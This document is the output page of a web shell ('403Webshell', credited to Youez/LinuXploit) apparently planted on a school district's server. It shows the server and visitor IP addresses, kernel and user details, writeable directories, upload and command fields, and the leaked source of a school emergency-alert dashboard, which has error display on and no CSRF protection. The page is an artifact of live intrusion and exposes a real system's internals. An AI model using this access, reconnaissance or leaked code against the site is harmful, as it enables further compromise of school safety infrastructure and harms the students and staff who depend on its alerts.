403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcsd/School-alert/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcsd/School-alert//dashboard.php
<?php
session_start();
require 'config/db.php';

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$error_message = "";

// Check if the user is logged in
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit();
}

// Handle deletion request for alerts older than 2 days
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['delete_alert_id'])) {
    $delete_alert_id = $_POST['delete_alert_id'];

    // Check if the alert is older than 2 days
    $stmt = $pdo->prepare("SELECT timestamp FROM alerts WHERE alert_id = ?");
    $stmt->execute([$delete_alert_id]);
    $alert = $stmt->fetch();

    if ($alert) {
        $alert_date = new DateTime($alert['timestamp']);
        $current_date = new DateTime();
        $interval = $current_date->diff($alert_date);

        // Only delete if the alert is 2 days or older
        if ($interval->days >= 2) {
            $stmt = $pdo->prepare("DELETE FROM alerts WHERE alert_id = ?");
            $stmt->execute([$delete_alert_id]);
            
            // Redirect back to dashboard to refresh the list
            header("Location: dashboard.php");
            exit();
        } else {
            // Set error message if the alert is not old enough
            $error_message = "Alerts can only be deleted if they are at least 2 days old.";
        }
    }
}

// Handle acknowledge request for active alerts
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['acknowledge_alert_id'])) {
    $acknowledge_alert_id = $_POST['acknowledge_alert_id'];

    // Update alert status to 'resolved'
    $stmt = $pdo->prepare("UPDATE alerts SET status = 'resolved' WHERE alert_id = ?");
    $stmt->execute([$acknowledge_alert_id]);

    // Redirect to refresh the list
    header("Location: dashboard.php");
    exit();
}

// Fetch all schools with address and phone
$stmt = $pdo->prepare("SELECT school_id, name, address, phone FROM schools ORDER BY name ASC");
$stmt->execute();
$schools = $stmt->fetchAll(PDO::FETCH_ASSOC);

// Prepare active and resolved alerts for each school
$alerts_by_school = [];
foreach ($schools as $school) {
    $alerts_by_school[$school['school_id']]['active'] = [];
    $alerts_by_school[$school['school_id']]['resolved'] = [];
    $alerts_by_school[$school['school_id']]['school_name'] = $school['name'];
    $alerts_by_school[$school['school_id']]['address'] = $school['address'];
    $alerts_by_school[$school['school_id']]['phone'] = $school['phone'];

    // Active alerts for this school
    $stmt = $pdo->prepare("SELECT * FROM alerts WHERE school_id = ? AND status = 'active' ORDER BY timestamp DESC");
    $stmt->execute([$school['school_id']]);
    $alerts_by_school[$school['school_id']]['active'] = $stmt->fetchAll(PDO::FETCH_ASSOC);

    // Resolved alerts for this school
    $stmt = $pdo->prepare("SELECT * FROM alerts WHERE school_id = ? AND status = 'resolved' ORDER BY timestamp DESC");
    $stmt->execute([$school['school_id']]);
    $alerts_by_school[$school['school_id']]['resolved'] = $stmt->fetchAll(PDO::FETCH_ASSOC);
}
// Debugging: Output alerts_by_school array
// echo '<pre>';
// print_r($alerts_by_school);
// echo '</pre>';

?>

<?php include __DIR__ . '/views/header.php'; ?>

<div class="dashboard-columns">
    <!-- Logo Column -->
    <div class="column logo-column">
        <img src="images/edulert-logo.png" alt="Edulert Logo" class="logo">
    </div>

    <!-- Active Alerts Column -->
    <div class="column active-alerts">
        <h3>Active Alerts</h3>
     <div id="active-alerts-container">
    <?php foreach ($alerts_by_school as $school_id => $school_data): ?>
        <h4><?= htmlspecialchars($school_data['school_name']) ?></h4>
        <p><?= htmlspecialchars($school_data['address']) ?></p>
        <p>Phone: <?= htmlspecialchars($school_data['phone']) ?></p>
        
        <?php if (!empty($school_data['active'])): ?>
            <?php foreach ($school_data['active'] as $alert): ?>
                <div class="alert blinking-alert">
                    <h4><?= htmlspecialchars($alert['type']) ?></h4>
                    <p><?= htmlspecialchars($alert['message']) ?></p>
                    <p><strong>Date:</strong> <?= htmlspecialchars($alert['timestamp']) ?></p>
                    <form method="POST" action="dashboard.php" style="display:inline;">
                        <input type="hidden" name="acknowledge_alert_id" value="<?= htmlspecialchars($alert['alert_id']) ?>">
                        <button type="submit" style="background-color: green; color: white; padding: 5px 10px; border: none; cursor: pointer;">Acknowledge</button>
                    </form>
                </div>
            <?php endforeach; ?>
        <?php else: ?>
            <p style="color: green; font-size: 1.2em; font-weight: bold;">No active alerts at this time.</p>
        <?php endif; ?>
    <?php endforeach; ?>
</div>

    </div>

    <!-- Old Alerts Column -->
    <div class="column old-alerts">
        <h3>Old Alerts</h3>
        <?php foreach ($alerts_by_school as $school_id => $school_data): ?>
            <h4><?= htmlspecialchars($school_data['school_name']) ?></h4>
            <?php foreach ($school_data['resolved'] as $alert): ?>
                <div class="alert old-alert">
                    <h4><?= htmlspecialchars($alert['type']) ?></h4>
                    <p><?= htmlspecialchars($alert['message']) ?></p>
                    <p><strong>Date:</strong> <?= htmlspecialchars($alert['timestamp']) ?></p>
                    <!-- Only show delete button if the alert is 2 days or older -->
                    <?php
                    $alert_date = new DateTime($alert['timestamp']);
                    $current_date = new DateTime();
                    $interval = $current_date->diff($alert_date);
                    if ($interval->days >= 2): ?>
                        <form method="POST" action="dashboard.php" style="display:inline;">
                            <input type="hidden" name="delete_alert_id" value="<?= htmlspecialchars($alert['alert_id']) ?>">
                            <button type="submit" style="background-color: red; color: white; padding: 5px 10px; border: none; cursor: pointer;">Delete</button>
                        </form>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        <?php endforeach; ?>
    </div>
</div>




<?php include __DIR__ . '/views/footer.php'; ?>

<!-- Include main.js for AJAX Polling -->
<script src="js/main.js"></script>

Youez - 2016 - github.com/yon3zu
LinuXploit